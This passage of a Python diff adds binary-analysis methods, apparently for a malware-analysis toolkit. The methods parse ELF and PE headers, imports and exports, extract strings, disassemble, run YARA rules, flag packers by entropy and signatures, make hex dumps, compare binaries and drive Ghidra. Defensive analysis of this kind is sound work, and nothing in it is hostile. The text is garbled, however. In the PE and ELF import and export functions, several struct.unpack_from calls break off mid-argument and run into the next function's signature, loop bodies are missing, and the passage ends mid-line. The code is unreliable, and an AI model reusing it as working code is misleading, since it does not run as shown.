struct.unpack_from( + f'{endian}HHIQQQIHHHHHH', data, 16) + else: + if len(data) < 52: + return {'error': 'Truncated ELF32 header'} + e_type, e_machine, e_version, e_entry, e_phoff, e_shoff, \ + e_flags, e_ehsize, e_phentsize, e_phnum, e_shentsize, \ + e_shnum, e_shstrndx = struct.unpack_from( + f'{endian}HHIIIIIHHHHHH', data, 16) + + machine_str = ELF_MACHINE_TYPES.get(e_machine, f'Unknown ({e_machine})') + type_str = ELF_TYPES.get(e_type, f'Unknown ({e_type})') + osabi_str = ELF_OSABI.get(ei_osabi, f'Unknown ({ei_osabi})') + + # Section Headers + sections = [] + shstrtab_data = b'' + if e_shstrndx < e_shnum and e_shoff > 0: + strtab_off = e_shoff + e_shstrndx * e_shentsize + if is_64 and strtab_off + 64 <= len(data): + sh_offset = struct.unpack_from(f'{endian}Q', data, strtab_off + 24)[0] + sh_size = struct.unpack_from(f'{endian}Q', data, strtab_off + 32)[0] + elif not is_64 and strtab_off + 40 <= len(data): + sh_offset = struct.unpack_from(f'{endian}I', data, strtab_off + 16)[0] + sh_size = struct.unpack_from(f'{endian}I', data, strtab_off + 20)[0] + else: + sh_offset = 0 + sh_size = 0 + if sh_offset + sh_size <= len(data): + shstrtab_data = data[sh_offset:sh_offset + sh_size] + + for i in range(e_shnum): + off = e_shoff + i * e_shentsize + if is_64: + if off + 64 > len(data): + break + sh_name, sh_type, sh_flags, sh_addr, sh_offset, sh_size, \ + sh_link, sh_info, sh_addralign, sh_entsize = struct.unpack_from( + f'{endian}IIQQQQIIQQ', data, off) + else: + if off + 40 > len(data): + break + sh_name, sh_type, sh_flags, sh_addr, sh_offset, sh_size, \ + sh_link, sh_info, sh_addralign, sh_entsize = struct.unpack_from( + f'{endian}IIIIIIIIII', data, off) + + # Resolve section name from string table + name = '' + if sh_name < len(shstrtab_data): + end = shstrtab_data.index(b'\x00', sh_name) if b'\x00' in shstrtab_data[sh_name:] else len(shstrtab_data) + name = shstrtab_data[sh_name:end].decode('ascii', errors='replace') + + type_name = ELF_SH_TYPES.get(sh_type, f'0x{sh_type:x}') + + sections.append({ + 'name': name, + 'type': type_name, + 'type_raw': sh_type, + 'flags': f'0x{sh_flags:x}', + 'address': f'0x{sh_addr:x}', + 'offset': sh_offset, + 'size': sh_size, + 'link': sh_link, + 'info': sh_info, + 'alignment': sh_addralign, + 'entry_size': sh_entsize, + }) + + # Program Headers + program_headers = [] + for i in range(e_phnum): + off = e_phoff + i * e_phentsize + if is_64: + if off + 56 > len(data): + break + p_type, p_flags, p_offset, p_vaddr, p_paddr, p_filesz, \ + p_memsz, p_align = struct.unpack_from( + f'{endian}IIQQQQQQ', data, off) + else: + if off + 32 > len(data): + break + p_type, p_offset, p_vaddr, p_paddr, p_filesz, p_memsz, \ + p_flags, p_align = struct.unpack_from( + f'{endian}IIIIIIII', data, off) + + pt_name = ELF_PT_TYPES.get(p_type, f'0x{p_type:x}') + perm_str = '' + perm_str += 'R' if p_flags & 4 else '-' + perm_str += 'W' if p_flags & 2 else '-' + perm_str += 'X' if p_flags & 1 else '-' + + program_headers.append({ + 'type': pt_name, + 'type_raw': p_type, + 'flags': perm_str, + 'offset': f'0x{p_offset:x}', + 'vaddr': f'0x{p_vaddr:x}', + 'paddr': f'0x{p_paddr:x}', + 'file_size': p_filesz, + 'mem_size': p_memsz, + 'alignment': p_align, + }) + + # Dynamic section symbols + dynamic = [] + for sec in sections: + if sec['type'] == 'DYNAMIC' and sec['size'] > 0: + dyn_off = sec['offset'] + dyn_size = sec['size'] + entry_sz = 16 if is_64 else 8 + for j in range(0, dyn_size, entry_sz): + off = dyn_off + j + if is_64 and off + 16 <= len(data): + d_tag, d_val = struct.unpack_from(f'{endian}qQ', data, off) + elif not is_64 and off + 8 <= len(data): + d_tag, d_val = struct.unpack_from(f'{endian}iI', data, off) + else: + break + if d_tag == 0: + break + dynamic.append({'tag': d_tag, 'value': f'0x{d_val:x}'}) + + result = { + 'format': 'ELF', + 'class': bits_str, + 'endianness': endian_str, + 'osabi': osabi_str, + 'type': type_str, + 'type_raw': e_type, + 'machine': f'0x{e_machine:x}', + 'machine_str': machine_str, + 'entry_point': f'0x{e_entry:x}', + 'flags': f'0x{e_flags:x}', + 'num_sections': e_shnum, + 'num_program_headers': e_phnum, + 'sections': sections, + 'program_headers': program_headers, + 'dynamic': dynamic[:50], + } + + return result + + # ── String Extraction ──────────────────────────────────────────────── + + def _extract_strings_from_data(self, data: bytes, min_length: int = 4) -> List[Dict[str, Any]]: + """Extract ASCII and Unicode strings from raw byte data.""" + results = [] + + # ASCII strings + ascii_pattern = re.compile(rb'[\x20-\x7e]{' + str(min_length).encode() + rb',}') + for match in ascii_pattern.finditer(data): + results.append({ + 'offset': match.start(), + 'string': match.group().decode('ascii', errors='replace'), + 'encoding': 'ascii', + }) + + # UTF-16LE strings (common in PE binaries) + i = 0 + while i < len(data) - 1: + # Look for sequences of printable chars with null bytes interleaved + chars = [] + start = i + while i < len(data) - 1: + lo, hi = data[i], data[i + 1] + if hi == 0 and 0x20 <= lo <= 0x7e: + chars.append(chr(lo)) + i += 2 + else: + break + if len(chars) >= min_length: + results.append({ + 'offset': start, + 'string': ''.join(chars), + 'encoding': 'unicode', + }) + else: + i += 1 + + # Sort by offset and deduplicate + results.sort(key=lambda x: x['offset']) + return results + + def extract_strings(self, file_path: str, min_length: int = 4, + encoding: str = 'both') -> List[Dict[str, Any]]: + """Extract printable strings from a binary file.""" + p = Path(file_path) + if not p.exists(): + return [] + + try: + with open(p, 'rb') as f: + data = f.read() + except Exception: + return [] + + results = self._extract_strings_from_data(data, min_length) + + if encoding == 'ascii': + results = [s for s in results if s['encoding'] == 'ascii'] + elif encoding == 'unicode': + results = [s for s in results if s['encoding'] == 'unicode'] + + return results + + # ── Disassembly ────────────────────────────────────────────────────── + + def disassemble(self, data: bytes, arch: str = 'x64', mode: str = '64', + offset: int = 0, count: int = 0) -> List[Dict[str, Any]]: + """Disassemble raw bytes. Uses capstone if available, otherwise objdump.""" + if HAS_CAPSTONE: + return self._disassemble_capstone(data, arch, mode, offset, count) + return self._disassemble_objdump(data, arch, offset, count) + + def _disassemble_capstone(self, data: bytes, arch: str, mode: str, + offset: int, count: int) -> List[Dict[str, Any]]: + """Disassemble using capstone.""" + arch_map = { + 'x86': (capstone.CS_ARCH_X86, capstone.CS_MODE_32), + 'x64': (capstone.CS_ARCH_X86, capstone.CS_MODE_64), + 'arm': (capstone.CS_ARCH_ARM, capstone.CS_MODE_ARM), + 'arm64': (capstone.CS_ARCH_ARM64, capstone.CS_MODE_ARM), + 'mips': (capstone.CS_ARCH_MIPS, capstone.CS_MODE_MIPS32), + } + + cs_arch, cs_mode = arch_map.get(arch.lower(), (capstone.CS_ARCH_X86, capstone.CS_MODE_64)) + md = capstone.Cs(cs_arch, cs_mode) + + instructions = [] + for i, (address, size, mnemonic, op_str) in enumerate(md.disasm_lite(data, offset)): + if count > 0 and i >= count: + break + inst_bytes = data[address - offset:address - offset + size] + instructions.append({ + 'address': f'0x{address:08x}', + 'mnemonic': mnemonic, + 'op_str': op_str, + 'bytes_hex': inst_bytes.hex(), + 'size': size, + }) + + return instructions + + def _disassemble_objdump(self, data: bytes, arch: str, + offset: int, count: int) -> List[Dict[str, Any]]: + """Disassemble using objdump as fallback.""" + objdump = find_tool('objdump') + if not objdump: + return [{'error': 'No disassembler available. Install capstone (pip install capstone) or objdump.'}] + + # Write data to temporary file + with tempfile.NamedTemporaryFile(suffix='.bin', delete=False) as tmp: + tmp.write(data) + tmp_path = tmp.name + + try: + arch_flag = { + 'x86': 'i386', 'x64': 'i386:x86-64', + 'arm': 'arm', 'arm64': 'aarch64', + }.get(arch.lower(), 'i386:x86-64') + + cmd = [objdump, '-D', '-b', 'binary', '-m', arch_flag, tmp_path] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + + instructions = [] + for line in result.stdout.splitlines(): + match = re.match(r'\s*([0-9a-f]+):\s+([0-9a-f ]+?)\s+(\w+)\s*(.*)', line) + if match: + addr_str, bytes_hex, mnemonic, op_str = match.groups() + instructions.append({ + 'address': f'0x{int(addr_str, 16) + offset:08x}', + 'mnemonic': mnemonic.strip(), + 'op_str': op_str.strip(), + 'bytes_hex': bytes_hex.replace(' ', ''), + }) + if count > 0 and len(instructions) >= count: + break + + return instructions + except Exception as e: + return [{'error': f'objdump failed: {e}'}] + finally: + try: + os.unlink(tmp_path) + except Exception: + pass + + def disassemble_file(self, file_path: str, section: str = '.text', + offset: int = 0, count: int = 100) -> List[Dict[str, Any]]: + """Disassemble a specific section of a binary file.""" + p = Path(file_path) + if not p.exists(): + return [{'error': 'File not found'}] + + ft = self.get_file_type(file_path) + ftype = ft.get('type', '') + + arch = 'x64' + sec_offset = offset + sec_size = 0 + + if ftype == 'PE': + pe = self.parse_pe(file_path) + if 'error' in pe: + return [{'error': pe['error']}] + machine = pe.get('machine', '') + if '14c' in machine: + arch = 'x86' + elif 'aa64' in machine: + arch = 'arm64' + elif '1c0' in machine or '1c4' in machine: + arch = 'arm' + + for sec in pe.get('sections', []): + if sec['name'].strip('\x00') == section.strip('.'): + sec_offset = sec['raw_offset'] + offset + sec_size = sec['raw_size'] + break + elif sec['name'].strip('\x00').lower() == section.lstrip('.').lower(): + sec_offset = sec['raw_offset'] + offset + sec_size = sec['raw_size'] + break + + elif ftype == 'ELF': + elf = self.parse_elf(file_path) + if 'error' in elf: + return [{'error': elf['error']}] + machine_str = elf.get('machine_str', '') + if 'x86-64' in machine_str: + arch = 'x64' + elif 'x86' in machine_str: + arch = 'x86' + elif 'ARM64' in machine_str or 'AArch64' in machine_str: + arch = 'arm64' + elif 'ARM' in machine_str: + arch = 'arm' + + for sec in elf.get('sections', []): + if sec['name'] == section: + sec_offset = sec['offset'] + offset + sec_size = sec['size'] + break + + # Read section data + try: + with open(p, 'rb') as f: + if sec_size > 0: + f.seek(sec_offset) + data = f.read(min(sec_size, 0x10000)) + else: + f.seek(sec_offset) + data = f.read(0x10000) + except Exception as e: + return [{'error': f'Cannot read file: {e}'}] + + return self.disassemble(data, arch=arch, offset=sec_offset, count=count) + + # ── YARA Scanning ──────────────────────────────────────────────────── + + def yara_scan(self, file_path: str, rules_path: Optional[str] = None, + rules_string: Optional[str] = None) -> Dict[str, Any]: + """Scan a file with YARA rules.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found', 'matches': []} + + if HAS_YARA: + return self._yara_scan_python(file_path, rules_path, rules_string) + return self._yara_scan_cli(file_path, rules_path, rules_string) + + def _yara_scan_python(self, file_path: str, rules_path: Optional[str], + rules_string: Optional[str]) -> Dict[str, Any]: + """Scan using yara-python library.""" + try: + if rules_string: + rules = yara.compile(source=rules_string) + elif rules_path: + rules = yara.compile(filepath=rules_path) + else: + # Use all rules in yara_rules directory + rule_files = list(self.yara_rules_dir.glob('*.yar')) + \ + list(self.yara_rules_dir.glob('*.yara')) + if not rule_files: + return {'error': 'No YARA rules found', 'matches': []} + sources = {} + for rf in rule_files: + ns = rf.stem + sources[ns] = str(rf) + rules = yara.compile(filepaths=sources) + + matches = rules.match(file_path) + results = [] + for match in matches: + strings_found = [] + for string_match in match.strings: + for instance in string_match.instances: + strings_found.append({ + 'offset': instance.offset, + 'identifier': string_match.identifier, + 'data': instance.matched_data.hex() if len(instance.matched_data) <= 64 else instance.matched_data[:64].hex() + '...', + }) + results.append({ + 'rule': match.rule, + 'namespace': match.namespace, + 'tags': list(match.tags), + 'meta': dict(match.meta) if match.meta else {}, + 'strings': strings_found, + }) + + return {'matches': results, 'total': len(results), 'engine': 'yara-python'} + + except Exception as e: + return {'error': str(e), 'matches': []} + + def _yara_scan_cli(self, file_path: str, rules_path: Optional[str], + rules_string: Optional[str]) -> Dict[str, Any]: + """Scan using yara CLI tool as fallback.""" + yara_bin = find_tool('yara') + if not yara_bin: + return {'error': 'YARA not available. Install yara-python (pip install yara-python) or yara CLI.', 'matches': []} + + try: + if rules_string: + with tempfile.NamedTemporaryFile(suffix='.yar', mode='w', delete=False) as tmp: + tmp.write(rules_string) + tmp_rules = tmp.name + rules_file = tmp_rules + elif rules_path: + rules_file = rules_path + tmp_rules = None + else: + rule_files = list(self.yara_rules_dir.glob('*.yar')) + \ + list(self.yara_rules_dir.glob('*.yara')) + if not rule_files: + return {'error': 'No YARA rules found', 'matches': []} + rules_file = str(rule_files[0]) + tmp_rules = None + + cmd = [yara_bin, '-s', rules_file, file_path] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + + matches = [] + current_rule = None + for line in result.stdout.splitlines(): + rule_match = re.match(r'^(\S+)\s+\S+$', line) + if rule_match and ':' not in line: + current_rule = {'rule': rule_match.group(1), 'strings': []} + matches.append(current_rule) + elif current_rule and ':' in line: + parts = line.strip().split(':', 2) + if len(parts) >= 3: + current_rule['strings'].append({ + 'offset': int(parts[0], 0) if parts[0].strip() else 0, + 'identifier': parts[1].strip(), + 'data': parts[2].strip(), + }) + + if tmp_rules: + os.unlink(tmp_rules) + + return {'matches': matches, 'total': len(matches), 'engine': 'yara-cli'} + + except Exception as e: + return {'error': str(e), 'matches': []} + + def list_yara_rules(self) -> List[Dict[str, str]]: + """List available YARA rule files.""" + rules = [] + for ext in ('*.yar', '*.yara'): + for f in self.yara_rules_dir.glob(ext): + stat = f.stat() + rules.append({ + 'name': f.name, + 'path': str(f), + 'size': stat.st_size, + 'modified': datetime.fromtimestamp(stat.st_mtime).isoformat(), + }) + return sorted(rules, key=lambda x: x['name']) + + # ── Packer Detection ───────────────────────────────────────────────── + + def detect_packer(self, file_path: str) -> Dict[str, Any]: + """Detect common executable packers.""" + p = Path(file_path) + if not p.exists(): + return {'detected': False, 'error': 'File not found'} + + try: + with open(p, 'rb') as f: + data = f.read() + except Exception as e: + return {'detected': False, 'error': str(e)} + + ft = self.get_file_type(file_path) + detections = [] + + # Check magic byte signatures in file body + for packer, sig_info in PACKER_SIGNATURES.items(): + score = 0 + evidence = [] + + # Check for magic byte patterns + for pattern in sig_info.get('magic', []): + idx = data.find(pattern) + if idx != -1: + score += 40 + evidence.append(f'Magic pattern at offset 0x{idx:x}') + + # Check section names (for PE files) + if ft.get('type') == 'PE': + pe = self.parse_pe(file_path) + if 'error' not in pe: + for sec in pe.get('sections', []): + sec_name = sec['name'].encode('ascii', errors='ignore') + for packer_sec in sig_info.get('section_names', []): + if sec_name.rstrip(b'\x00').startswith(packer_sec.rstrip(b'\x00')): + score += 50 + evidence.append(f'Section name: {sec["name"]}') + + if score > 0: + detections.append({ + 'packer': packer, + 'confidence': min(score, 100), + 'description': sig_info.get('description', ''), + 'evidence': evidence, + }) + + # Heuristic checks + overall_entropy = self.calculate_entropy(data) + if overall_entropy > 7.2: + detections.append({ + 'packer': 'Unknown (high entropy)', + 'confidence': 60, + 'description': f'High overall entropy ({overall_entropy:.2f}) suggests packing or encryption', + 'evidence': [f'Entropy: {overall_entropy:.4f}'], + }) + + # Check for small code section with high entropy (common in packed binaries) + if ft.get('type') == 'PE': + sec_ent = self.section_entropy(file_path) + high_ent_sections = [s for s in sec_ent if s.get('entropy', 0) > 7.0] + if high_ent_sections and not detections: + names = ', '.join(s['name'] for s in high_ent_sections) + detections.append({ + 'packer': 'Unknown (packed sections)', + 'confidence': 50, + 'description': f'High entropy sections detected: {names}', + 'evidence': [f'{s["name"]}: entropy {s["entropy"]:.2f}' for s in high_ent_sections], + }) + + # Sort by confidence + detections.sort(key=lambda x: -x['confidence']) + + return { + 'detected': len(detections) > 0, + 'detections': detections, + 'overall_entropy': overall_entropy if 'overall_entropy' in dir() else self.calculate_entropy(data), + } + + # ── Hex Dump ───────────────────────────────────────────────────────── + + def hex_dump(self, file_path: str, offset: int = 0, length: int = 256) -> Dict[str, Any]: + """Generate formatted hex dump of a file region.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found'} + + try: + file_size = p.stat().st_size + with open(p, 'rb') as f: + f.seek(offset) + data = f.read(length) + except Exception as e: + return {'error': str(e)} + + lines = [] + for i in range(0, len(data), 16): + chunk = data[i:i + 16] + hex_part = ' '.join(f'{b:02x}' for b in chunk) + # Add spacing between 8-byte groups + if len(chunk) > 8: + hex_bytes = [f'{b:02x}' for b in chunk] + hex_part = ' '.join(hex_bytes[:8]) + ' ' + ' '.join(hex_bytes[8:]) + ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk) + lines.append({ + 'offset': f'{offset + i:08x}', + 'hex': hex_part, + 'ascii': ascii_part, + }) + + # Also produce a formatted text version + text_lines = [] + for line in lines: + text_lines.append(f'{line["offset"]} {line["hex"]:<49} |{line["ascii"]}|') + + return { + 'offset': offset, + 'length': len(data), + 'file_size': file_size, + 'lines': lines, + 'text': '\n'.join(text_lines), + } + + def hex_search(self, file_path: str, pattern: str) -> Dict[str, Any]: + """Search for a hex pattern in a binary file. Pattern: space/dash separated hex bytes.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found', 'matches': []} + + # Parse hex pattern + clean = re.sub(r'[^0-9a-fA-F?]', '', pattern.replace('??', 'FF')) + if len(clean) % 2 != 0: + return {'error': 'Invalid hex pattern (odd number of nibbles)', 'matches': []} + + try: + search_bytes = bytes.fromhex(re.sub(r'[^0-9a-fA-F]', '', pattern.replace(' ', '').replace('-', ''))) + except ValueError: + return {'error': 'Invalid hex pattern', 'matches': []} + + try: + with open(p, 'rb') as f: + data = f.read() + except Exception as e: + return {'error': str(e), 'matches': []} + + matches = [] + start = 0 + while True: + idx = data.find(search_bytes, start) + if idx == -1: + break + context = data[max(0, idx - 8):idx + len(search_bytes) + 8] + matches.append({ + 'offset': idx, + 'offset_hex': f'0x{idx:08x}', + 'context': context.hex(), + }) + start = idx + 1 + if len(matches) >= 1000: + break + + return { + 'pattern': search_bytes.hex(), + 'matches': matches, + 'total': len(matches), + 'file_size': len(data), + } + + # ── Binary Comparison ──────────────────────────────────────────────── + + def compare_binaries(self, file1: str, file2: str) -> Dict[str, Any]: + """Compare two binary files: sizes, hashes, section diffs, byte-level changes.""" + p1, p2 = Path(file1), Path(file2) + if not p1.exists(): + return {'error': f'File not found: {file1}'} + if not p2.exists(): + return {'error': f'File not found: {file2}'} + + try: + with open(p1, 'rb') as f: + data1 = f.read() + with open(p2, 'rb') as f: + data2 = f.read() + except Exception as e: + return {'error': str(e)} + + # Size comparison + size1, size2 = len(data1), len(data2) + + # Hashes + hashes1 = { + 'md5': hashlib.md5(data1).hexdigest(), + 'sha256': hashlib.sha256(data1).hexdigest(), + } + hashes2 = { + 'md5': hashlib.md5(data2).hexdigest(), + 'sha256': hashlib.sha256(data2).hexdigest(), + } + + identical = hashes1['sha256'] == hashes2['sha256'] + + # Byte-level diff summary + min_len = min(len(data1), len(data2)) + diff_count = 0 + diff_regions = [] + in_diff = False + diff_start = 0 + + for i in range(min_len): + if data1[i] != data2[i]: + diff_count += 1 + if not in_diff: + in_diff = True + diff_start = i + else: + if in_diff: + in_diff = False + diff_regions.append({ + 'offset': f'0x{diff_start:08x}', + 'length': i - diff_start, + }) + if in_diff: + diff_regions.append({ + 'offset': f'0x{diff_start:08x}', + 'length': min_len - diff_start, + }) + + # Add difference for size mismatch + if size1 != size2: + diff_count += abs(size1 - size2) + + # Section-level comparison for PE/ELF + section_diffs = [] + ft1 = self.get_file_type(file1) + ft2 = self.get_file_type(file2) + if ft1.get('type') == ft2.get('type') and ft1.get('type') in ('PE', 'ELF'): + if ft1['type'] == 'PE': + pe1, pe2 = self.parse_pe(file1), self.parse_pe(file2) + secs1 = {s['name']: s for s in pe1.get('sections', [])} + secs2 = {s['name']: s for s in pe2.get('sections', [])} + else: + elf1, elf2 = self.parse_elf(file1), self.parse_elf(file2) + secs1 = {s['name']: s for s in elf1.get('sections', [])} + secs2 = {s['name']: s for s in elf2.get('sections', [])} + + all_names = sorted(set(list(secs1.keys()) + list(secs2.keys()))) + for name in all_names: + s1 = secs1.get(name) + s2 = secs2.get(name) + if s1 and s2: + size_key = 'raw_size' if ft1['type'] == 'PE' else 'size' + section_diffs.append({ + 'name': name, + 'status': 'modified' if s1.get(size_key) != s2.get(size_key) else 'unchanged', + 'size_file1': s1.get(size_key, 0), + 'size_file2': s2.get(size_key, 0), + }) + elif s1: + section_diffs.append({'name': name, 'status': 'removed'}) + else: + section_diffs.append({'name': name, 'status': 'added'}) + + # Entropy comparison + ent1 = self.calculate_entropy(data1) + ent2 = self.calculate_entropy(data2) + + return { + 'file1': {'name': p1.name, 'size': size1, 'hashes': hashes1, 'entropy': ent1}, + 'file2': {'name': p2.name, 'size': size2, 'hashes': hashes2, 'entropy': ent2}, + 'identical': identical, + 'diff_bytes': diff_count, + 'diff_percentage': round((diff_count / max(max(size1, size2), 1)) * 100, 2), + 'diff_regions': diff_regions[:100], + 'diff_regions_total': len(diff_regions), + 'section_diffs': section_diffs, + } + + # ── Ghidra Integration ─────────────────────────────────────────────── + + def ghidra_decompile(self, file_path: str, function: Optional[str] = None) -> Dict[str, Any]: + """Run Ghidra headless analysis and return decompiled output.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found'} + + analyze_headless = find_tool('analyzeHeadless') + if not analyze_headless: + # Try common Ghidra install locations + ghidra_paths = [] + if os.name == 'nt': + for drive in ['C', 'D']: + ghidra_paths.extend([ + Path(f'{drive}:/ghidra/support/analyzeHeadless.bat'), + Path(f'{drive}:/Program Files/ghidra/support/analyzeHeadless.bat'), + ]) + else: + ghidra_paths.extend([ + Path('/opt/ghidra/support/analyzeHeadless'), + Path('/usr/local/ghidra/support/analyzeHeadless'), + Path.home() / 'ghidra' / 'support' / 'analyzeHeadless', + ]) + + for gp in ghidra_paths: + if gp.exists(): + analyze_headless = str(gp) + break + + if not analyze_headless: + return {'error': 'Ghidra not found. Install Ghidra and ensure analyzeHeadless is in PATH.'} + + # Create temporary project directory + with tempfile.TemporaryDirectory(prefix='autarch_ghidra_') as tmp_dir: + project_name = 'autarch_analysis' + + cmd = [ + analyze_headless, + tmp_dir, project_name, + '-import', str(p), + '-postScript', 'DecompileHeadless.java', + '-scriptlog', os.path.join(tmp_dir, 'script.log'), + '-deleteProject', + ] + + if function: + cmd.extend(['-scriptArgs', function]) + + try: + result = subprocess.run( + cmd, capture_output=True, text=True, timeout=300, + cwd=tmp_dir) + + output = result.stdout + '\n' + result.stderr + + # Try to read script output + log_path = os.path.join(tmp_dir, 'script.log') + script_output = '' + if os.path.exists(log_path): + with open(log_path, 'r') as f: + script_output = f.read() + + return { + 'output': output, + 'script_output': script_output, + 'return_code': result.returncode, + 'function': function, + } + except subprocess.TimeoutExpired: + return {'error': 'Ghidra analysis timed out (300s limit)'} + except Exception as e: + return {'error': f'Ghidra execution failed: {e}'} + + # ── Import / Export Extraction ─────────────────────────────────────── + + def get_imports(self, file_path: str) -> List[Dict[str, Any]]: + """Extract imported functions from PE or ELF binary.""" + ft = self.get_file_type(file_path) + ftype = ft.get('type', '') + + if ftype == 'PE': + return self._get_pe_imports(file_path) + elif ftype == 'ELF': + return self._get_elf_imports(file_path) + return [] + + def _get_pe_imports(self, file_path: str) -> List[Dict[str, Any]]: + """Parse PE import directory table.""" + pe = self.parse_pe(file_path) + if 'error' in pe: + return [] + + try: + with open(file_path, 'rb') as f: + data = f.read() + except Exception: + return [] + + # Find import directory RVA + import_dir = None + for dd in pe.get('data_directories', []): + if dd['name'] == 'Import': + import_dir = dd + break + + if not import_dir: + return [] + + import_rva = int(import_dir['rva'], 16) + if import_rva == 0: + return [] + + # Convert RVA to file offset using section mapping + sections = pe.get('sections', []) + + def rva_to_offset(rva): + for sec in sections: + sec_va = int(sec['virtual_address'], 16) + sec_raw = sec['raw_offset'] + sec_vs = sec['virtual_size'] + if sec_va <= rva < sec_va + sec_vs: + return sec_raw + (rva - sec_va) + return rva + + imports = [] + offset = rva_to_offset(import_rva) + + # Read Import Directory entries (20 bytes each) + while offset + 20 <= len(data): + ilt_rva, timestamp, forwarder, name_rva, iat_rva = struct.unpack_from(' List[Dict[str, Any]]: + """Extract imported symbols from ELF dynamic symbol table.""" + elf = self.parse_elf(file_path) + if 'error' in elf: + return [] + + try: + with open(file_path, 'rb') as f: + data = f.read() + except Exception: + return [] + + is_64 = '64-bit' in elf.get('class', '') + endian = '<' if 'Little' in elf.get('endianness', 'Little') else '>' + + # Find .dynsym and .dynstr sections + dynsym_sec = None + dynstr_sec = None + for sec in elf.get('sections', []): + if sec['name'] == '.dynsym': + dynsym_sec = sec + elif sec['name'] == '.dynstr': + dynstr_sec = sec + + if not dynsym_sec or not dynstr_sec: + return [] + + # Read string table + str_off = dynstr_sec['offset'] + str_size = dynstr_sec['size'] + if str_off + str_size > len(data): + return [] + strtab = data[str_off:str_off + str_size] + + # Read symbol table + sym_off = dynsym_sec['offset'] + sym_size = dynsym_sec['size'] + entry_size = 24 if is_64 else 16 + + imports = [] + for i in range(0, sym_size, entry_size): + off = sym_off + i + if is_64 and off + 24 <= len(data): + st_name, st_info, st_other, st_shndx, st_value, st_size = struct.unpack_from( + f'{endian}IBBHQQ', data, off) + elif not is_64 and off + 16 <= len(data): + st_name, st_value, st_size, st_info, st_other, st_shndx = struct.unpack_from( + f'{endian}IIIBBH', data, off) + else: + break + + # Undefined symbols (imports) have shndx == 0 + if st_shndx == 0 and st_name > 0 and st_name < len(strtab): + end = strtab.find(b'\x00', st_name) + if end != -1: + sym_name = strtab[st_name:end].decode('ascii', errors='replace') + if sym_name: + bind = (st_info >> 4) & 0xf + sym_type = st_info & 0xf + bind_str = {0: 'LOCAL', 1: 'GLOBAL', 2: 'WEAK'}.get(bind, str(bind)) + type_str = {0: 'NOTYPE', 1: 'OBJECT', 2: 'FUNC'}.get(sym_type, str(sym_type)) + imports.append({ + 'name': sym_name, + 'bind': bind_str, + 'type': type_str, + }) + + # Group by library if possible (from NEEDED entries in dynamic section) + needed_libs = [] + for dyn in elf.get('dynamic', []): + if dyn['tag'] == 1: # DT_NEEDED + val = int(dyn['value'], 16) + if val < len(strtab): + end = strtab.find(b'\x00', val) + if end != -1: + needed_libs.append(strtab[val:end].decode('ascii', errors='replace')) + + result = [{'library': lib, 'functions': [], 'count': 0} for lib in needed_libs] + if imports: + ungrouped = {'library': '(dynamic imports)', 'functions': imports, 'count': len(imports)} + result.append(ungrouped) + + return result + + def get_exports(self, file_path: str) -> List[Dict[str, Any]]: + """Extract exported functions from PE or ELF binary.""" + ft = self.get_file_type(file_path) + ftype = ft.get('type', '') + + if ftype == 'PE': + return self._get_pe_exports(file_path) + elif ftype == 'ELF': + return self._get_elf_exports(file_path) + return [] + + def _get_pe_exports(self, file_path: str) -> List[Dict[str, Any]]: + """Parse PE export directory table.""" + pe = self.parse_pe(file_path) + if 'error' in pe: + return [] + + try: + with open(file_path, 'rb') as f: + data = f.read() + except Exception: + return [] + + export_dir = None + for dd in pe.get('data_directories', []): + if dd['name'] == 'Export': + export_dir = dd + break + + if not export_dir: + return [] + + export_rva = int(export_dir['rva'], 16) + if export_rva == 0: + return [] + + sections = pe.get('sections', []) + + def rva_to_offset(rva): + for sec in sections: + sec_va = int(sec['virtual_address'], 16) + sec_raw = sec['raw_offset'] + sec_vs = sec['virtual_size'] + if sec_va <= rva < sec_va + sec_vs: + return sec_raw + (rva - sec_va) + return rva + + offset = rva_to_offset(export_rva) + if offset + 40 > len(data): + return [] + + _, timestamp, major_ver, minor_ver, name_rva, ordinal_base, \ + num_functions, num_names, addr_functions_rva, addr_names_rva, \ + addr_ordinals_rva = struct.unpack_from(' len(data): + break + name_rva = struct.unpack_from('' + else: + func_name = f'' + + ordinal = 0 + if ordinals_offset + (i + 1) * 2 <= len(data): + ordinal = struct.unpack_from(' List[Dict[str, Any]]: + """Extract exported (defined GLOBAL/WEAK) symbols from ELF.""" + elf = self.parse_elf(file_path) + if 'error' in elf: + return [] + + try: + with open(file_path, 'rb') as f: + data = f.read() + except Exception: + return [] + + is_64 = '64-bit' in elf.get('class', '') + endian = '<' if 'Little' in elf.get('endianness', 'Little') else '>' + + # Find .dynsym and .dynstr + dynsym_sec = None + dynstr_sec = None + for sec in elf.get('sections', []): + if sec['name'] == '.dynsym': + dynsym_sec = sec + elif sec['name'] == '.dynstr': + dynstr_sec = sec + + if not dynsym_sec or not dynstr_sec: + return [] + + str_off = dynstr_sec['offset'] + str_size = dynstr_sec['size'] + if str_off + str_size > len(data): + return [] + strtab = data[str_off:str_off + str_size] + + sym_off = dynsym_sec['offset'] + sym_size = dynsym_sec['size'] + entry_size = 24 if is_64 else 16 + + exports = [] + for i in range(0, sym_size, entry_size): + off = sym_off + i + if is_64 and off + 24 <= len(data): + st_name, st_info, st_other, st_shndx, st_value, st_size = struct.unpack_from( + f'{endian}IBBHQQ', data, off) + elif not is_64 and off + 16 <= len(data): + st_name, st_value, st_size, st_info, st_other, st_shndx = struct.unpack_from( + f'{endian}IIIBBH', data, off) + else: + break + + # Exported = defined (shndx != 0) and GLOBAL or WEAK binding + bind = (st_info >> 4) & 0xf + if st_shndx != 0 and bind in (1, 2) and st_name > 0 and st_name < len(strtab): + end = strtab.find(b'\x00', st_name) + if end != -1: + sym_name = strtab[st_name:end].decode('ascii', errors='replace') + if sym_name: + sym_type = st_info & 0xf + type_str = {0: 'NOTYPE', 1: 'OBJECT', 2: 'FUNC'}.get(sym_type, str(sym_type)) + exports.append({ + 'name': sym_name, + 'address': f'0x{st_value:x}', + 'type': type_str, + 'size': st_size, + }) + + return exports + + # ── Utility Methods ────────────────────────────────────────────────── + + @staticmethod + def _human_size(size: int) -> str: + """Convert bytes to human-readable string.""" + for unit in ['B', 'KB', 'MB', 'GB', 'TB']: + if size < 1024: + return f'{size:.1f} {unit}' if unit != 'B' else f'{size} {unit}' + size /= 1024 + return 